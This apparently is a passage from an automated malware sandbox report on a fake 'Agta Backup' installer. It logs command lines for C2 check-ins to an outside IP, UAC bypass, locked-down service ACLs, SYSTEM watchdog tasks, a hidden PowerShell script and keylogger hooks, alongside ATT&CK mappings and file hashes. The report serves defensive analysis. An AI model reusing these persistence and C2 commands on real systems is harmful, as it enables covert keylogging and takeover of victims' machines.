    "C:\Windows\system32\sc.exe" start AgtaBackupAgentSvc
    3⤵
    - Launches sc.exe
    PID:5016
- - C:\Windows\system32\sc.exe
    "C:\Windows\system32\sc.exe" query AgtaBackupAgentSvc
    3⤵
    - Launches sc.exe
    PID:4236
- - C:\Windows\system32\sc.exe
    "C:\Windows\system32\sc.exe" sdshow AgtaBackupAgentSvc
    3⤵
    - Launches sc.exe
    - Suspicious use of AdjustPrivilegeToken
    PID:5248
- - C:\Windows\system32\sc.exe
    "C:\Windows\system32\sc.exe" sdset AgtaBackupAgentSvc O:SYG:SYD:(A;;CCLCSWRPWPDTLOCRSDRCWDWO;;;SY)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
    3⤵
    - Launches sc.exe
    - Suspicious use of AdjustPrivilegeToken
    PID:5444
- - C:\Windows\system32\sc.exe
    "C:\Windows\system32\sc.exe" sdshow AgtaBackupAgentSvc
    3⤵
    - Launches sc.exe
    - Suspicious use of AdjustPrivilegeToken
    PID:4852
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /Create /TN "AgtaBackupAgentWatchdog" /XML "C:\Windows\SystemTemp\agta_task_93cd90a562d2447daaef577012acbb92.xml" /F /RU SYSTEM
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1352
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /Create /TN "AgtaBackupAgentGuardian" /XML "C:\Windows\SystemTemp\agta_task_100034e69c314fc4a0b57db490a70606.xml" /F /RU SYSTEM
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2428
- - C:\Windows\system32\sc.exe
    "C:\Windows\system32\sc.exe" query AgtaBackupAgentSvc
    3⤵
    - Launches sc.exe
    PID:5848

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
PID:3596

C:\Program Files\Agta Backup\Credential Guard.exe
"C:\Program Files\Agta Backup\Credential Guard.exe" --service --name AgtaBackupAgentSvc --data-dir "C:\ProgramData\Agta Backup" --checkin-url http://144.172.106.146:4080
1⤵
- UAC bypass
- Executes dropped EXE
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
- System policy modification
PID:5720
- C:\Program Files\Agta Backup\Credential Guard.exe
  "C:\Program Files\Agta Backup\Credential Guard.exe" --idle-probe --idle-out "C:\ProgramData\Agta Backup\idle.probe"
  2⤵
  - Executes dropped EXE
  PID:3388
- C:\Program Files\Agta Backup\Credential Guard.exe
  "C:\Program Files\Agta Backup\Credential Guard.exe" --uac-helper --svc AgtaBackupAgentSvc
  2⤵
  - Executes dropped EXE
  PID:2812
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Bypass -File "C:\Windows\SystemTemp\agta_av_795bfd18.ps1"
  2⤵
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Command and Scripting Interpreter: PowerShell
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3924
- C:\Windows\system32\icacls.exe
  "icacls.exe" "C:\ProgramData\Agta Backup\keylog" /grant *S-1-5-32-545:(OI)(CI)M /T
  2⤵
  - Modifies file permissions
  PID:1820
- C:\Program Files\Agta Backup\Window Security Health Services.exe
  "C:\Program Files\Agta Backup\Window Security Health Services.exe" --daemon
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:1504
- C:\Windows\system32\schtasks.exe
  "C:\Windows\system32\schtasks.exe" /Query /TN "AgtaBackupAgentWatchdog"
  2⤵
  PID:3660
- C:\Windows\system32\schtasks.exe
  "C:\Windows\system32\schtasks.exe" /Query /TN "AgtaBackupAgentGuardian"
  2⤵
  PID:5440
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" sdshow AgtaBackupAgentSvc
  2⤵
  - Launches sc.exe
  PID:1816
- C:\Program Files\Agta Backup\Credential Guard.exe
  "C:\Program Files\Agta Backup\Credential Guard.exe" --idle-probe --idle-out "C:\ProgramData\Agta Backup\idle.probe"
  2⤵
  - Executes dropped EXE
  PID:1488
- C:\Windows\system32\schtasks.exe
  "C:\Windows\system32\schtasks.exe" /Query /TN "AgtaBackupAgentWatchdog"
  2⤵
  PID:1068
- C:\Windows\system32\schtasks.exe
  "C:\Windows\system32\schtasks.exe" /Query /TN "AgtaBackupAgentGuardian"
  2⤵
  PID:4344
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" sdshow AgtaBackupAgentSvc
  2⤵
  - Launches sc.exe
  PID:1976

C:\Program Files\Agta Backup\Credential Guard.exe
"C:\Program Files\Agta Backup\Credential Guard.exe"
1⤵
- Executes dropped EXE
PID:5536

C:\Program Files\Agta Backup\Credential Guard.exe
"C:\Program Files\Agta Backup\Credential Guard.exe" --guardian --name AgtaBackupAgentSvc --data-dir "C:\ProgramData\Agta Backup" --install-dir "C:\Program Files\Agta Backup" --checkin-url http://144.172.106.146:4080
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4040
- C:\Windows\system32\schtasks.exe
  "C:\Windows\system32\schtasks.exe" /Query /TN "AgtaBackupAgentWatchdog"
  2⤵
  PID:4280

C:\Program Files\Agta Backup\Credential Guard.exe
"C:\Program Files\Agta Backup\Credential Guard.exe" --watchdog --name AgtaBackupAgentSvc --data-dir "C:\ProgramData\Agta Backup" --install-dir "C:\Program Files\Agta Backup" --checkin-url http://144.172.106.146:4080
1⤵
- Sets service image path in registry
- Executes dropped EXE
- Drops file in Program Files directory
- Modifies data under HKEY_USERS
- Suspicious use of WriteProcessMemory
PID:4920
- C:\Windows\system32\schtasks.exe
  "C:\Windows\system32\schtasks.exe" /Query /TN "AgtaBackupAgentWatchdog"
  2⤵
  PID:2428
- C:\Windows\system32\schtasks.exe
  "C:\Windows\system32\schtasks.exe" /Query /TN "AgtaBackupAgentGuardian"
  2⤵
  PID:3420
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" queryex AgtaBackupAgentSvc
  2⤵
  - Launches sc.exe
  PID:5572
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" query AgtaBackupAgentSvc
  2⤵
  - Launches sc.exe
  PID:5596
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" queryex AgtaBackupAgentSvc
  2⤵
  - Launches sc.exe
  PID:1600
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" queryex AgtaBackupAgentSvc
  2⤵
  - Launches sc.exe
  PID:4244
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop AgtaBackupAgentSvc
  2⤵
  - Launches sc.exe
  PID:2784
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" start AgtaBackupAgentSvc
  2⤵
  - Launches sc.exe
  PID:4796
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" sdshow AgtaBackupAgentSvc
  2⤵
  - Launches sc.exe
  PID:5436

C:\Program Files\Agta Backup\Credential Guard.exe
"C:\Program Files\Agta Backup\Credential Guard.exe" --guardian --name AgtaBackupAgentSvc --data-dir "C:\ProgramData\Agta Backup" --install-dir "C:\Program Files\Agta Backup" --checkin-url http://144.172.106.146:4080
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:936
- C:\Windows\system32\schtasks.exe
  "C:\Windows\system32\schtasks.exe" /Query /TN "AgtaBackupAgentWatchdog"
  2⤵
  PID:1444

C:\Program Files\Agta Backup\Credential Guard.exe
"C:\Program Files\Agta Backup\Credential Guard.exe" --watchdog --name AgtaBackupAgentSvc --data-dir "C:\ProgramData\Agta Backup" --install-dir "C:\Program Files\Agta Backup" --checkin-url http://144.172.106.146:4080
1⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Modifies data under HKEY_USERS
- Suspicious use of WriteProcessMemory
PID:2204
- C:\Windows\system32\schtasks.exe
  "C:\Windows\system32\schtasks.exe" /Query /TN "AgtaBackupAgentWatchdog"
  2⤵
  PID:5564
- C:\Windows\system32\schtasks.exe
  "C:\Windows\system32\schtasks.exe" /Query /TN "AgtaBackupAgentGuardian"
  2⤵
  PID:6112
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" queryex AgtaBackupAgentSvc
  2⤵
  - Launches sc.exe
  PID:2584
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" query AgtaBackupAgentSvc
  2⤵
  - Launches sc.exe
  PID:1228
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" start AgtaBackupAgentSvc
  2⤵
  - Launches sc.exe
  PID:1424
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" sdshow AgtaBackupAgentSvc
  2⤵
  - Launches sc.exe
  PID:2984

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Installer Packages

T1546.016

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Installer Packages

T1546.016

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

System Binary Proxy Execution

T1218

Msiexec

T1218.007

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

e59e45c.rbs

Path C:\Config.Msi\e59e45c.rbs
Size 8KB
SHA256 20cea51315d54968e6ffbf254594090841c73c86c633e82ba893cee3e5cf6aae
MD5 a0d4358a2faa8461d463dd84d60fc555
SHA1 f808fc2d6df88a43d3624f468cc2707ddb19adbf
SHA512 f11508e0a5362f2395f1814afa1579c58650b18f62f92dfce4cdf4c4a3cc4201ecaa68450a288acc180aec8422f23de2b96734a611f6b2d08f8ab2cd2101ff31
SSDEEP 192:7RGBcWcsc7c3cxcbC7pPWyNdYBfIWcNdYBfwW8SX47pi:7RGBcWcsc7c3cxcGpP/NdYBdcNdYBVth
TLSH
T1470242806E0252E2F9460B36D30B5B103BFBC3DAA325230F0ADED5748E467DA5F9519E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Credential Guard.exe

Path C:\Program Files\Agta Backup\Credential Guard.exe
Size 11.8MB
SHA256 986750becbee2aee41f8914c5770ee33500bc148fd8d71627d4cdbe8679a8c26
MD5 1ddc6952463c29121d81befebbe11346
SHA1 37e5db842d66d5f278739e58ed9f476960c02349
SHA512 3e0fb3211612ca2988e5874ee53a6204d9e65b60f71f5b255886c6678e717731bb7d84aba5a0c052d8decce732805269b243d48934f6e6c31e9adfc4faffd17e
SSDEEP 196608:76akMtDx9Z2Y57VKWIvBGLpiWQLdURkbc461n2vvpvjW:7j/9zVIMLpkLdUGwpJ2HU
TLSH
T14BC6CF56E2FD00E8D5BBC0B8C6575517EBB1345917309BEB52A08A692F37BE0AE3D310
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Window Security Health Services.exe

Path C:\Program Files\Agta Backup\Window Security Health Services.exe
Size 10.7MB
SHA256 b4792b6f1ee8f822537b03936d45aab27ea4ce5030e14cd98f1c055d2bde2360
MD5 bb0c313527230b76662e3081d5b5ccf6
SHA1 8543d41f06445cd429a246069f1dee152b4fda08
SHA512 42ab78e396162c12224233dcf0f5bfd0cd895c637a8d3468966c125ac49880c0e91bbfcbcf3b83ae63d2a86e337cba90502fe93c2b95c3485aa417a0ecaefdfe
SSDEEP 196608:T6akMtDx9Z2Y57VKWIvBGLri5QCMVh01Pp6x8maBJnQ1:Tj/9zVIMLrbN/0+xc1Q1
TLSH
T1F3B6BF56E2FD00E8D5BBC0B8C6575517EBB1345917309BEB52A08A692F37BE0AE3D310
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

idle.probe

Path C:\ProgramData\Agta Backup\idle.probe
Size 9B
SHA256 c8b72cd71d19683f6f94c7d2811234a50956c03d659de6f752a41ec0d3ae5371
MD5 3c60adbef691a50bbcefc9c544fad569
SHA1 4e3edd00783a562c3cb0e8be3aea285e93145c17
SHA512 093eb012fe8d689f9c61358a6c4c83b6c89bf5f2730576f49965806ab9a4b960d4263ca145237f18ede6b8d92a6d72abe77244e0341bd02a3c7dad63fdb14f90
MD5 SHA1 SHA512

Submit Download

idle.probe

Path C:\ProgramData\Agta Backup\idle.probe
Size 9B
SHA256 5ed6eff8db624f446b7ddb742017ad8bba8879c56ce7656f5dd381eba1b4448d
MD5 51237ee159aaa9ad32bf4b8b834eef94
SHA1 0f28736e7f2876a6f1f117bc21c207af1640e44f
SHA512 aaef073b78b0702323453d72d06509390dced95a8c56c6e9e67f028729ede9cbce7761d807272cba8798173cf5ad4b02a47ad58adc29480c7e9e46a930077203
MD5 SHA1 SHA512

Submit Download

control.json

Path C:\ProgramData\Agta Backup\keylog\control.json
Size 22B
SHA256 dff2c2abaa8e5112ab98b442e55eac9e6682887b1318322324b7b6f8d86683e3
MD5 ca08fe59d2332fc1c94194fdf92356ab
SHA1 d6e692546ba07eceb293f0e1f4e6e6e6e401ca7f
SHA512 4724dbb207de493bd19e413007fef7541e57cc7ddd2d66a58dc45e31c9b4aa264acc70e77eb9d80f8c15e7c9dbeeb19872be41f68e41333ceb863d670f804ae2
MD5 SHA1 SHA512

Submit Download

server.txt

Path C:\ProgramData\Agta Backup\server.txt
Size 27B
SHA256 41463ff68e28c1432367b005fdc6ade5f9ba97bc79792c3eb5f7859982d845ef
MD5 8801a093740dc97af176537ae5f9b29b
SHA1 87f0bf5b7f503fd8d619f66414799549bdae4565
SHA512 1bf94fa062bd4bad5dbd76b3fa5b29ca6e751d5a5fbca3b005391ab10ebaec2f686d74f74ae8cb9de85f07aa25f0cbcfbf4ac79a56f1561939985060d75f9818
MD5 SHA1 SHA512

Submit Download

server.txt

Path C:\ProgramData\Agta Backup\server.txt
Size 34B
SHA256 2ae4624e50c5ac34f480a22d821f223b801ec5c62bd8248af4c01da1ff430658
MD5 b9343b83a5bdc3563b23dbe448e69a37
SHA1 c4749128c27c56661baaa64b342f34cdc1dd6fdb
SHA512 173117266ad9d1c32566effb24c35fb01353fc9e422d47a80ae1f8cb0db850834a7823f7c55e7732a9e7981448328fcfb1ee46a064fdb9f2d104e34952386d68
MD5 SHA1 SHA512

Submit Download

service.log

Path C:\ProgramData\Agta Backup\service.log
Size 467B
SHA256 fcad799feee970d19393a33704edb0cb3887f28d921d2f31aee79f61986ce668
MD5 6a86a5da54b78f4e437b9dd9006a7ff4
SHA1 776a5607faf1ed34dbbd8585dfc344eb998cb7a6
SHA512 606cd92da66081535a562238d4ceedac73230e552e7ca4cf6f8292048d2454a62394a4241910c3f40ed8dcd26d528443f74b9955f09352848e9025c494c92a1f
TLSH
T1F6F02E097960762060171C1497055758CA47F32D267C60EF2F99B14DC751C6DFF290AC
MD5 SHA1 SHA512 TLSH

Submit Download

service.log

Path C:\ProgramData\Agta Backup\service.log
Size 1KB
SHA256 66a8b6711dd892c0e10faf0b4b3518bca3bffd72a4fa542de249fb45cefe25bc
MD5 47a63a1694db0600fb73b62966e81bbd
SHA1 14104af915b2e21fadf5f064042be13d68e6166d
SHA512 fc51ba14ee960b3826a6c63d68d053828c1cbb70573ad6d317471ed165e9d52fb2a7920079daa68e558242f0a885f91036af0f60ae2f2ee0898f1e00078820d6
TLSH
T1EA11C00867607A20A4175805930A5B5DDA0BF31F36BDA1DA3FF9604E8F40C5DFE240F8
MD5 SHA1 SHA512 TLSH

Submit Download

watchdog.log

Path C:\ProgramData\Agta Backup\watchdog.log
Size 123B
SHA256 c50b1b5818de90e8d8bb60409ded3f30d2689942ac8fd1178cb866a23e1122a4
MD5 d6a5cf185f922945d1b1e5f87d78107a
SHA1 6feccc0ef14e0bf653592e5b3cf65202318b4f75
SHA512 37206307daa228fe81767993b52bca6660e2a6ead64cf679bda9e209a53baf3112ac4ab0b873a240e7348c91fb16ca31b4b31a2cccfb51729ae376405fea722a
TLSH
T127B09250BAF10929DC1F0161A4069BADB58BE707149122688F9E21422091AAC7CE82A9
MD5 SHA1 SHA512 TLSH

Submit Download

e59e45b.msi

Path C:\Windows\Installer\e59e45b.msi
Size 32.5MB
SHA256 65c3de6042c6fdca367f4c89102a767a7fd634e6897b5974704d2311d8dc9fb8
MD5 96eb382c6b09956926304ed5fc277eaf
SHA1 17992f3cccf79c320be2a2dc51f2bafcf309d427
SHA512 6eea3d00a47e44497b1170c981a256e872162bd767e930c204922fc919e84ac86c1d56ac7a461c442233eb800791d5e4421b24938fc2d423cae96e1ad237a03b
SSDEEP 786432:Y+Ju1OnG9YmoHLx3PbcJRhF+KQpU9f7OiLOj0h:fMwG9YmoF5KQ6hOiLn
TLSH
T1337733B4D9F0FD14F1EEA1F2C9562647942E8C00B72E4423D83E79916D7A29063FE52B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

agta_av_795bfd18.ps1

Path C:\Windows\SystemTemp\agta_av_795bfd18.ps1
Size 287B
SHA256 ff423134dbc43fd83278c10ecebe3e13a2a15b94f88648e0feb7dea23dcd1092
MD5 92384a5b868df75324d098c130956d58
SHA1 32931c0e129fe1a95a84e9f3f901f61d264a9869
SHA512 ff0381c3ab14d1ec2bf1be3d6467a93ec52e8f070f6973b4624d70ce13ee10292a225131ad9d9d4ed34a41913d0db244ce657feb4043b68806a786c96cdaece3
TLSH
T1E1D0EB4423BC90F40253F2A2CDDF671BBC88809E862B23004AB00176B0E265B938258F
MD5 SHA1 SHA512 TLSH

Submit Download

agta_task_100034e69c314fc4a0b57db490a70606.xml

Path C:\Windows\SystemTemp\agta_task_100034e69c314fc4a0b57db490a70606.xml
Size 2KB
SHA256 08ae971d23f8e92d90ab43baab10561ceb23e99dbe868e245ef79dccf132f315
MD5 ce246c3799361c9bbae675dd55f94e98
SHA1 b45e8ec872cb43dc473ed354b34072bd4cf04e57
SHA512 2aa8aff78d6978ce75d9be44e14bcd0d477c798c60fcdfc273d70efad2d02243c692c8b8830fbe577ff671d21378486549fd0247eb83c36902e343c59c62530e
TLSH
T197516A4367FE011AF2F35B9CAEB758615E67BD4A5934C86D00BC060D0BB3A228961B37
MD5 SHA1 SHA512 TLSH

Submit Download

agta_task_93cd90a562d2447daaef577012acbb92.xml

Path C:\Windows\SystemTemp\agta_task_93cd90a562d2447daaef577012acbb92.xml
Size 2KB
SHA256 ecfc07e10376868ea8ef9705fe599fff53dfe98b15637b81b3306880c75cd5c5
MD5 52e98861baadbb9083daa6f606ad3175
SHA1 aa129a4bf64352595567fac155ebad957992f649
SHA512 9e90f0bc7b6786fcbfa845ebc4ff683d1957c8f2a4cf1d8fcedc386f0da56e875575f45e6b3ad9ec188525777342fbe5f2d4b6d016e4c543dbe7515af9ebe05e
TLSH
T1F5516A4367FE011AF2F36B9DAEB758615E67BD495934C86D00BC060D0BB3A228960B37
MD5 SHA1 SHA512 TLSH

Submit Download

metadata-2

Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
Size 26.1MB
SHA256 14a4b283962f2189bafa77a486e66c686dd3266a0d21250f59a3c1b5f119aa63
MD5 42ebaa5740d59cb4a61a10dccf5fe7d7
SHA1 74d8aa593de172bd00c167ce2f451f3d66d51ab7
SHA512 c0d40eb5e42ac04caea38b2ae0aba9f3db0518b4d3ed00a2da78b6563c783a6bd046a1b14741f36e2b135c899ba176f702ae6279244424e4b49fb24fda39627c
SSDEEP 24576:cFo3DMPMdoO/vvTL/SwJpilgfrejy7uKkkP7tknB/MnqZeIZ8YhWJwz4Nu1:lH8
TLSH
T12657F71836F92110F7F79E3CA8F0AA2749397D5B9C15DE8D45811B8E0821F71E872F6A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

{bef0c2b4-ede4-4867-9e3a-6f30e489ba55}_OnDiskSnapshotProp

Path \??\Volume{6392210f-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{bef0c2b4-ede4-4867-9e3a-6f30e489ba55}_OnDiskSnapshotProp
Size 6KB
SHA256 0511dc79d3432f5629a080b4b8f4516b1729e24602efc8dfc51949682027cd3e
MD5 6350ea459d0a3015c263a0cef6e57a17
SHA1 4ced54bbcae94a3e5109dfc45be07deaf5206694
SHA512 f1559d207f09876868217ee3158e81d296567cbdeed6666a63f23ec7f4f0d2d60d48ed503fb8a48ac5f93a35430e1dc28ebb4eae85b38caaeca1122052ae0636
SSDEEP 96:Ft6iborhvc6DD84LTHzbOHXOHBlBRQn8Sc9XE56tOSVQpuN:HCpb++uVmN
TLSH
T197D1770C5AE54711E2B3AB3129F18557A877B911EF33CB8E0198238E6671910F875F6B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/3924-43-0x000002366DFD0000-0x000002366DFF4000-memory.dmp

Download

memory/3924-42-0x000002366DFD0000-0x000002366DFFA000-memory.dmp

Download

memory/3924-41-0x000002366DB30000-0x000002366DB3A000-memory.dmp

Download

memory/3924-40-0x000002366DD90000-0x000002366DE42000-memory.dmp

Download

memory/3924-39-0x000002366DB40000-0x000002366DB5E000-memory.dmp

Download

memory/3924-34-0x000002366D950000-0x000002366D972000-memory.dmp

Download